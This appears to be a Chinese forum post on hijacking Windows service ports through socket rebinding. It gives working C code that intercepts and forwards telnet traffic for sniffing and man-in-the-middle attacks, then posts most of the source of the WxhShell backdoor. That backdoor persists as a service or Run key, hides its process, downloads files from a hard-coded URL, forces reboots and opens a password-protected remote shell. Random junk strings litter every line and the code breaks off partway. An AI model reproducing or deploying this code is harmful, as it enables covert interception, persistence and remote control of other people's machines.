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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: WF.y"{6>  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); CA PP Oh  
Lb>UraUvL  
  saddr.sin_family = AF_INET; $M(ZKS3,j  
Gpauy=4f  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %HNe"7gk  
6_w;dnVA  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); vV?=r5j  
)Z2l*fV  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 dgIEc]#pH  
0y"Ra%Y  
  这意味着什么?意味着可以进行如下的攻击: BP7&w d  
y,`SLgBID  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 re `B fN  
!PFc)J  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Ao:<aX,=  
JlF$|y,gV,  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 VZ:L K  
%z_PEqRj  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  C6XZZ  
-0{"QhdE%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 j(;o   
9Xu O\+z  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 *{y/wgX  
zoU-*Rs6  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0{Kb1Ut  
.<!Jhf$  
  #include Ba9le|c5  
  #include .-6B6IEI_"  
  #include XA$Z 7_gu3  
  #include    b\U p(]  
  DWORD WINAPI ClientThread(LPVOID lpParam);   tw`{\kWG  
  int main() `oxs;;P  
  { Of*z9 YI  
  WORD wVersionRequested; ^@&RJa-kb  
  DWORD ret; BpGK`0H  
  WSADATA wsaData; h zh%ML3L  
  BOOL val; %:P&! F\?  
  SOCKADDR_IN saddr; d4h, +OU  
  SOCKADDR_IN scaddr; rdFeDZo&Z)  
  int err; !]W}I  
  SOCKET s; 5jpb`Axj#  
  SOCKET sc; pm*6&,  
  int caddsize; +{$NN  
  HANDLE mt; d`z),A=  
  DWORD tid;   O=HT3gp&  
  wVersionRequested = MAKEWORD( 2, 2 ); BtSl%(w  
  err = WSAStartup( wVersionRequested, &wsaData ); vq df-i  
  if ( err != 0 ) { o771q}?&`  
  printf("error!WSAStartup failed!\n"); P(1 bd"Q  
  return -1; )<D(Mb 2p|  
  } J&xH "U  
  saddr.sin_family = AF_INET; \&&jzU2  
   Btmv{'T_y@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 H)s$0Xd  
3MR4yw5v  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); LM*#DLadk  
  saddr.sin_port = htons(23); _pX y}D  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Z|FWQ8gZ4m  
  { 8TK&i,  
  printf("error!socket failed!\n"); u |h T1l  
  return -1; Ax=k0%M[&  
  } `dH[&=S  
  val = TRUE; >k6RmN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -NG`mfu  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) BwN65_5p  
  { PQmgv&!DP  
  printf("error!setsockopt failed!\n"); ; 7`y##  
  return -1; m)A~1+M$)L  
  } 'NM$<<0  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +v 9@du  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 (f^K\7HM  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 n$*'J9W~  
VQr)VU=jb  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) :EISms  
  { ?mK`Wleh?  
  ret=GetLastError(); Ip/_uDi+!Z  
  printf("error!bind failed!\n"); ,= ;d<O8  
  return -1; o%+8.Tx6wT  
  } 7/ "g} F}Q  
  listen(s,2); !N4?>[E  
  while(1) D&0@k'  
  { Y7{9C*>  
  caddsize = sizeof(scaddr); I/ pv0  
  //接受连接请求 K<HF!YU#I2  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \X5>HPB  
  if(sc!=INVALID_SOCKET) Nw`}iR0i  
  { cxhS*"Ph  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); oC]|ARgQk|  
  if(mt==NULL) GW_@hYIqD  
  { :V>M{vd  
  printf("Thread Creat Failed!\n"); P"`OuN  
  break; ]j.??'+rg  
  } \0'7p-T6  
  } IK%fX/tDyc  
  CloseHandle(mt); 9rr"q5[  
  } dMAd-q5{  
  closesocket(s); |22~.9S  
  WSACleanup(); -kp! .c  
  return 0; DwXzmp[qWH  
  }   i-(^t1c  
  DWORD WINAPI ClientThread(LPVOID lpParam) [p%@ pV  
  { MLV_I4o  
  SOCKET ss = (SOCKET)lpParam; l65-8  
  SOCKET sc; TI{W(2O*  
  unsigned char buf[4096]; FFH9 $>A  
  SOCKADDR_IN saddr; 2k,!P6fgl  
  long num; Mf0XQ3n`H  
  DWORD val; y{~l&zrl  
  DWORD ret; ~/hyf]*j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 M@e&uz!Rx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   LQ5WS  
  saddr.sin_family = AF_INET; k T$yHB #  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZyBNo]  
  saddr.sin_port = htons(23); rz c}2I  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o#X|4bES  
  { _ri1RK,  
  printf("error!socket failed!\n"); 1LTl=tS#  
  return -1; Xg |_  
  } $`:/O A<.  
  val = 100; hcEU kD  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) P 0xInW F  
  { \`N%77A  
  ret = GetLastError(); Gld|w=qr  
  return -1; rs$sAa*f  
  } K252l,;|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $42C4I*E  
  { r>N5 ^  
  ret = GetLastError(); #4. S2m4  
  return -1; $O*rxQ}  
  } %k8} IBL  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) a9 =,P  
  { r2A(GUz  
  printf("error!socket connect failed!\n"); m2[q*k]AtS  
  closesocket(sc); v~>^c1:  
  closesocket(ss); =F2e*?a3  
  return -1; V#;6 <H"  
  } `A5^D  
  while(1) V\8vJ3.YV  
  { o<f[K}t9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 _@3?yv~ D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 C' C'@?]  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 SRq0y,d  
  num = recv(ss,buf,4096,0); OM!CP'u#{  
  if(num>0) ag*RQ  
  send(sc,buf,num,0); eR.ucTji  
  else if(num==0) >Z k$q~'+  
  break; Km2ppGLNn  
  num = recv(sc,buf,4096,0); X%7Y\|  
  if(num>0) >jjuWO3T  
  send(ss,buf,num,0); @DYxxM-  
  else if(num==0) @&;y0N1xo  
  break; k~WX6rEJ  
  } AY['!&T  
  closesocket(ss); "(/ 1]EH`  
  closesocket(sc); (,eH*/~/  
  return 0 ; mjbr}9  
  } 2F(zHa  
g+gHIb7{  
o0Qy?14T-  
========================================================== T$/6qZew  
~g$Pb[V  
下边附上一个代码,,WXhSHELL O@ jW&-;  
-[?q?w!?  
========================================================== ,o-BJ 069  
H"W%+{AR  
#include "stdafx.h" @)mH"u!(7  
y?W8FL  
#include <stdio.h> d_BO&k<+I  
#include <string.h> rt] @Z`w  
#include <windows.h> [nBlHI;&  
#include <winsock2.h> mT\!LpX  
#include <winsvc.h> TCJH^gDt  
#include <urlmon.h> ckRWVw   
>IO}}USm  
#pragma comment (lib, "Ws2_32.lib") g:MpN^l  
#pragma comment (lib, "urlmon.lib") ot P7;l  
`As.1@  
#define MAX_USER   100 // 最大客户端连接数 IpQ51  
#define BUF_SOCK   200 // sock buffer 9aT#7B  
#define KEY_BUFF   255 // 输入 buffer s }q6@I  
AZcW f8  
#define REBOOT     0   // 重启 T'2(sHk  
#define SHUTDOWN   1   // 关机 b`E'MX_ m  
3e$&rpv  
#define DEF_PORT   5000 // 监听端口 7>`QX%  
\3w=')({  
#define REG_LEN     16   // 注册表键长度 X"<t3l(+  
#define SVC_LEN     80   // NT服务名长度 d V#h~  
0%.l|~CE&  
// 从dll定义API ZK4/o  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jvn:W{'Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %76N$`{u  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); FCU~*c8Cs  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dL5u-<y&  
; 1K[N0xE  
// wxhshell配置信息 'bj$ZM9  
struct WSCFG { Qy |*[  
  int ws_port;         // 监听端口 :WejY`}H%  
  char ws_passstr[REG_LEN]; // 口令 O$+J{@  
  int ws_autoins;       // 安装标记, 1=yes 0=no {4tJT25  
  char ws_regname[REG_LEN]; // 注册表键名 [aX'eM q  
  char ws_svcname[REG_LEN]; // 服务名 p%5RE%u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 GYYk3\r  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *b9=&:pU(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 !u)ve h3x  
int ws_downexe;       // 下载执行标记, 1=yes 0=no gTZ1LJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" '~A~gK0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n?vrsqmZ  
~0r:Wcj x  
}; bY7d  
K:/%7A_{  
// default Wxhshell configuration 5=/H2T!F  
struct WSCFG wscfg={DEF_PORT, i[A$K~f  
    "xuhuanlingzhe", ,o\v umx  
    1, Yd:8i JA  
    "Wxhshell", & D4'hL3  
    "Wxhshell", "#^11o8  
            "WxhShell Service", 4Y8/>uL  
    "Wrsky Windows CmdShell Service", pA9^-:\*  
    "Please Input Your Password: ", io^^f|  
  1, MHJH@$|]  
  "http://www.wrsky.com/wxhshell.exe", JSQNx2VqQ  
  "Wxhshell.exe" W\gu"g`u  
    }; U#R=y:O?  
]Ow A>fb  
// 消息定义模块 wN8-M e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Hj"`z6@7  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _c?&G`  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; g|8G!7O  
char *msg_ws_ext="\n\rExit."; jV`xRjh  
char *msg_ws_end="\n\rQuit."; HYf&0LT<11  
char *msg_ws_boot="\n\rReboot..."; 4M'y9(  
char *msg_ws_poff="\n\rShutdown..."; ax&,  
char *msg_ws_down="\n\rSave to "; $5T3JOFz  
z/aZD\[_  
char *msg_ws_err="\n\rErr!"; !_)*L+7f_  
char *msg_ws_ok="\n\rOK!"; hSE\RX 9  
sI/Jhw)  
char ExeFile[MAX_PATH]; zl\mBSBx"  
int nUser = 0; (gZKR2hO  
HANDLE handles[MAX_USER]; b&X- &F  
int OsIsNt; >8+:{NW  
j-@3jFu  
SERVICE_STATUS       serviceStatus; fEF1&&8^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; B uV@w-|  
x;2tmof=L  
// 函数声明 i/`N~r   
int Install(void); .~qu,q7k~  
int Uninstall(void); Zoh[tO   
int DownloadFile(char *sURL, SOCKET wsh); k2o98bK&;  
int Boot(int flag); U~QIO O  
void HideProc(void); {(#Dou  
int GetOsVer(void); :hB/|H*=  
int Wxhshell(SOCKET wsl); ~#+ Hhc(  
void TalkWithClient(void *cs); JSCe86a7<E  
int CmdShell(SOCKET sock); hDI_qZ  
int StartFromService(void); 0@ []l{N  
int StartWxhshell(LPSTR lpCmdLine); oA`'~~!  
uH S)  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); B B*]" gT  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); wB~Ag$~  
Z}6   
// 数据结构和表定义 !=M[u+-  
SERVICE_TABLE_ENTRY DispatchTable[] = :4|ubu  
{ Lgl%fO/<t  
{wscfg.ws_svcname, NTServiceMain}, e>\[OwF-x  
{NULL, NULL} uuW._$.A>  
}; E4~k)4R  
,,vl+Z <&  
// 自我安装 YNV4w{>FD  
int Install(void) l1XA9>n  
{ /iFtW#K+  
  char svExeFile[MAX_PATH]; uc4#giCD  
  HKEY key; /pni_-l*  
  strcpy(svExeFile,ExeFile); r=l hYn  
3:1 h:Yc<  
// 如果是win9x系统,修改注册表设为自启动 Xi`K`Cu+  
if(!OsIsNt) { [h20y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -E_lwK  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ` MtI>x c  
  RegCloseKey(key); ;(AVZxCM  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wd&Tf R4!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^\:"o  
  RegCloseKey(key); udYk 6  
  return 0; +Zgh[a  
    } R: 8\z0"L*  
  } S?n,O+q  
} bC{1LY0  
else { dHjJLs_  
WBdC}S }3t  
// 如果是NT以上系统,安装为系统服务 k!-(Qfz  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uBp"YX9rx  
if (schSCManager!=0) ea!_/Y  
{ ,q$'hYTaJ  
  SC_HANDLE schService = CreateService d*;wHA,}F  
  ( |E)-9JSRy  
  schSCManager, *mH++3h  
  wscfg.ws_svcname, P5/\*~}  
  wscfg.ws_svcdisp, _s{on/u  
  SERVICE_ALL_ACCESS, #1c%3KaZ I  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b`M  2VZu  
  SERVICE_AUTO_START, $A"C1)d;  
  SERVICE_ERROR_NORMAL, t/xWJW2  
  svExeFile, w+c%Y\:  
  NULL, ]Q-*xho  
  NULL, CtiTXDc_  
  NULL, $<&N#  
  NULL, <2Q+? L{  
  NULL 1#BMc%  
  ); >;I$&  
  if (schService!=0) \!D<u'n  
  { [k qx%4q)  
  CloseServiceHandle(schService); wJ 0KI[p(S  
  CloseServiceHandle(schSCManager); (Q~ p"Ch  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 8{QN$Qkn  
  strcat(svExeFile,wscfg.ws_svcname); |/rms`YQ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )xKZ)SxV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); imGg3'  
  RegCloseKey(key); V?x&.C2Z  
  return 0; V80BO#Pk  
    } H4l*  
  } Xtv^q> !  
  CloseServiceHandle(schSCManager); M:&g5y&  
} RlJt+lnV  
} ?J[m)Uo/ K  
"_!D b&AH  
return 1; GZ xG!r -  
} 3^NHV g  
BC|=-^(  
// 自我卸载 h+ixl#:  
int Uninstall(void) x93t.5E6  
{ 6@ B_3y  
  HKEY key; 7{0;<@  
?4p\ujc  
if(!OsIsNt) { X6hm,0[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;Ih:$"$!  
  RegDeleteValue(key,wscfg.ws_regname); PtP{_9%Dz  
  RegCloseKey(key); F\LAw#IJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =QG@{?JTl  
  RegDeleteValue(key,wscfg.ws_regname); QnHb*4<  
  RegCloseKey(key); ry^FJyjW  
  return 0; "9Q @&C  
  } ']]C zze  
} N$cm;G=]  
} fGK=lT$  
else { >iE/t$%1  
:x85:pa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Yi?X|"\`  
if (schSCManager!=0) %ae|4u#b  
{ ddR*&.Y!a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Ph{7S43  
  if (schService!=0) =v-qao7xCV  
  { ."HDUo2D7  
  if(DeleteService(schService)!=0) { E]T>m!6  
  CloseServiceHandle(schService); e+`LtEve0  
  CloseServiceHandle(schSCManager); T'W)RYnwl  
  return 0; ,0j7qn@tm  
  } =rH' \7T  
  CloseServiceHandle(schService); dXwfOC\\  
  } H[H+s!)"  
  CloseServiceHandle(schSCManager); b A/,{R  
} /=o~7y  
} Pn&!C*,  
G)<NzZo  
return 1; x?5D>M/Y  
} TU-aL  
. #+N?D<  
// 从指定url下载文件 yH YqJ|t  
int DownloadFile(char *sURL, SOCKET wsh) `;X~$uS  
{ _SVIY@K|/  
  HRESULT hr; Vp"=8p#k  
char seps[]= "/"; \L6kCY  
char *token; {lNvKm)w  
char *file; r .&<~x  
char myURL[MAX_PATH]; q oA?  
char myFILE[MAX_PATH]; _f^JXd,7v  
}vx+/J  
strcpy(myURL,sURL); fLGZ@-qA0  
  token=strtok(myURL,seps); 45?aV@  
  while(token!=NULL) 'r/+z a:2  
  { ]6)~Sj$ 5  
    file=token; Ev%_8CO4e  
  token=strtok(NULL,seps); k4@$vxy0  
  } yaDK_fk  
kK62yz,  
GetCurrentDirectory(MAX_PATH,myFILE); <in#_Of {E  
strcat(myFILE, "\\"); whoM$  &  
strcat(myFILE, file); ( L{>la!  
  send(wsh,myFILE,strlen(myFILE),0); )R~l@QBN  
send(wsh,"...",3,0); 7IEG%FY T  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A(j9T,!  
  if(hr==S_OK) \my5E\  
return 0; moop.}O<  
else H{tG:KH  
return 1; (SH< ]@s  
"#ctT-g`6  
} `]u!4pP"  
/"q wC  
// 系统电源模块 D]P_tJI  
int Boot(int flag) 7,^.h<@K  
{ O6 :GE'S  
  HANDLE hToken; lMn1e6~K  
  TOKEN_PRIVILEGES tkp; [wLK*9@&  
S)n+E\c  
  if(OsIsNt) { 9Q*T'+V  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DK6^\k][V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /V>q(Q  
    tkp.PrivilegeCount = 1; Xyz w.%4c  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1o Z!Up0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #0:N$'SZ  
if(flag==REBOOT) { gG?sLgL:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) L lNd97Z  
  return 0; Tgf\f%,h  
} `l%)0)T  
else { m|/q o  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g`n5-D@3  
  return 0; < 2 mbR  
} w$`[C+L  
  } ],?$&  
  else { 3RbPc8($Y  
if(flag==REBOOT) { neLQ>WT L  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^KlW"2:  
  return 0; NKyKsu  
} "ZHA.M]`  
else { h<1pGQV  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1xf Pe#  
  return 0; )XFaVkQ}  
} I1Jhvyd?$  
} 6Fe$'TP  
` !um )4  
return 1; i 6DcLE  
} D_)i%k\  
Yg~$1b@  
// win9x进程隐藏模块 A.8[FkiNmD  
void HideProc(void) 8AGP*"gI  
{ Y|3n^%I  
EE,57(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F5+)=P#  
  if ( hKernel != NULL ) (q 0wV3Qv  
  { rBLcj;,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4.t72*ML  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); R=co2 5  
    FreeLibrary(hKernel); =N~*`5|rk  
  } R?D c*,  
GN=ugP 9  
return; ~BbF:DS  
} y~r5KB6w  
d#W>"Cqxqa  
// 获取操作系统版本 wG-lR,glb  
int GetOsVer(void) `B%IHr  
{ a3wk#mH  
  OSVERSIONINFO winfo; \46 'j.  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); xIb"8,N  
  GetVersionEx(&winfo); ->u}b?aF  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) cH7Gb|,M  
  return 1;  yh'uH  
  else G.B~n>}JU,  
  return 0; 9sId2py]W  
} Z`jSpgWR  
VUQx"R9-  
// 客户端句柄模块 "3Lq/mJYnZ  
int Wxhshell(SOCKET wsl) OMz_xm.UPi  
{ 71I: P|.>  
  SOCKET wsh; g.]S5(  
  struct sockaddr_in client; U=vh_NHj  
  DWORD myID; G@=H=' :~  
NGs@z^&V  
  while(nUser<MAX_USER) OH_mZA  
{ 7lH.>n  
  int nSize=sizeof(client); ` JZ`j7f  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ZR*Dl.GWY  
  if(wsh==INVALID_SOCKET) return 1; g~v>{F+u  
U(~d^9/#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); nvOJY6)$V  
if(handles[nUser]==0) sVNM#,  
  closesocket(wsh); I$Ra*r  
else SKdh!*G  
  nUser++; 5bHS|<  
  } gY/p\kwsj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); H3Zs m)+:  
J};=)xLX;  
  return 0; IPa)+ ZQ  
} ;%YAiW8{Xk  
(DTXc2)c  
// 关闭 socket Js0hlWu  
void CloseIt(SOCKET wsh) p O O4fc  
{ 3o.9}`/  
closesocket(wsh); i[N=.  
nUser--; nf,u'}psdJ  
ExitThread(0); RbN# dI'  
} ^)i1b:4  
[6}>?  
// 客户端请求句柄 F&6Xo]?  
void TalkWithClient(void *cs) bL 9XQ:$C  
{ 4RDdfY\%u  
U:+wt}-T"  
  SOCKET wsh=(SOCKET)cs; Y$K[@_dv=  
  char pwd[SVC_LEN]; SLi?E  
  char cmd[KEY_BUFF]; Pu`;B  
char chr[1]; 3j} @}2D  
int i,j; J5j3#2l  
nm{J  
  while (nUser < MAX_USER) { w\{oOlE  
56l1&hp8In  
if(wscfg.ws_passstr) { NzAMX+L  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VPI;{0kh  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ^E}};CsT  
  //ZeroMemory(pwd,KEY_BUFF); LmjzH@3  
      i=0; ;cfmMt!QWJ  
  while(i<SVC_LEN) { aS)Gj?Odf  
W*jwf@ 0  
  // 设置超时 syB.Z-Cpd  
  fd_set FdRead; 3?Tk[m1b  
  struct timeval TimeOut; Dqg~g|(Q<  
  FD_ZERO(&FdRead); G\ m`{jv  
  FD_SET(wsh,&FdRead); i8+[-mh  
  TimeOut.tv_sec=8; tO8<N'TD  
  TimeOut.tv_usec=0; /5&' U!:+  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); SMIr@*R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u0?,CQPL  
t(Sjo8, b  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =1e>$E#  
  pwd=chr[0]; Y-y<gW  
  if(chr[0]==0xd || chr[0]==0xa) { 9yWQ}h  
  pwd=0; >j}.~$6dj_  
  break; _I A{I  
  } e)): U  
  i++; d7i 0'R  
    } W,-fnJk  
J{qpGRQNa  
  // 如果是非法用户,关闭 socket '@3Kq\/  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 2nkUvb%=  
} c_dg/ !Iu  
^R;rrn{^  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); xp;CYr"1}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uYy&<_r  
@/ G$ C9<  
while(1) { )4CF*>*6V  
TD6MP9L  
  ZeroMemory(cmd,KEY_BUFF); si,W.9rU  
SO8b~N  
      // 自动支持客户端 telnet标准   /^^wHW:  
  j=0; R8n/QCeY{  
  while(j<KEY_BUFF) { 0fP-[7P  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 60Szn]z'8[  
  cmd[j]=chr[0]; j _p|>f<}  
  if(chr[0]==0xa || chr[0]==0xd) { 2PVtyV3;  
  cmd[j]=0; w\(; >e@  
  break; Xn3 \a81  
  } A2{s ?L,  
  j++; [)KLmL%  
    } ZgH(,g,TU  
RM `zxFn  
  // 下载文件 dVe  
  if(strstr(cmd,"http://")) { r.#"he_6!.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); _+NM<o#A  
  if(DownloadFile(cmd,wsh)) YfZ96C[a  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); f>kW\uC  
  else i?D KKjN$  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); CF0i72ul5  
  } jp|1S^b  
  else { +u|p<z  
SZ3UR  
    switch(cmd[0]) { vzPuk|q3  
  z(JDLd  
  // 帮助 p0Ra`*f  
  case '?': { 86HK4sES  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); `S+B-I0  
    break; dp~] Wx  
  } m%[`NP (  
  // 安装 X J{b_h#N  
  case 'i': { o'auCa,N  
    if(Install()) 4 /Q4sE~<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ed:[^#Lj  
    else nQ}$jOU &  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >cYYr@S  
    break; qOi"3_  
    } MlmdfO%Y  
  // 卸载 vpL3XYs`  
  case 'r': { k< i#agq  
    if(Uninstall()) LktH*ePO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ccm(r~lhJ  
    else s?pd&_kOv3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); KV {J>J1  
    break; l0GsY.~,  
    } R!2oj_  
  // 显示 wxhshell 所在路径 =&YhA}l\O  
  case 'p': { .sE5QRVc  
    char svExeFile[MAX_PATH]; Q( g&/O  
    strcpy(svExeFile,"\n\r"); SdM@7%UK  
      strcat(svExeFile,ExeFile); 71(C@/J  
        send(wsh,svExeFile,strlen(svExeFile),0); ?@LqrKj 11  
    break; \2huDNW& !  
    } X^c2  
  // 重启 (>usa||  
  case 'b': { ^j>w<ljzz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); TeXt'G=M  
    if(Boot(REBOOT)) }VI}O{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j| X>:!4r  
    else { Exu>%  
    closesocket(wsh); uFl19  
    ExitThread(0); b<1+q{0r  
    } IyJHKDFk  
    break; nlsif  
    } )Z qY`by!  
  // 关机 gt Vnn]Jh  
  case 'd': { 6tKCY(#oO+  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >jH%n(TcC  
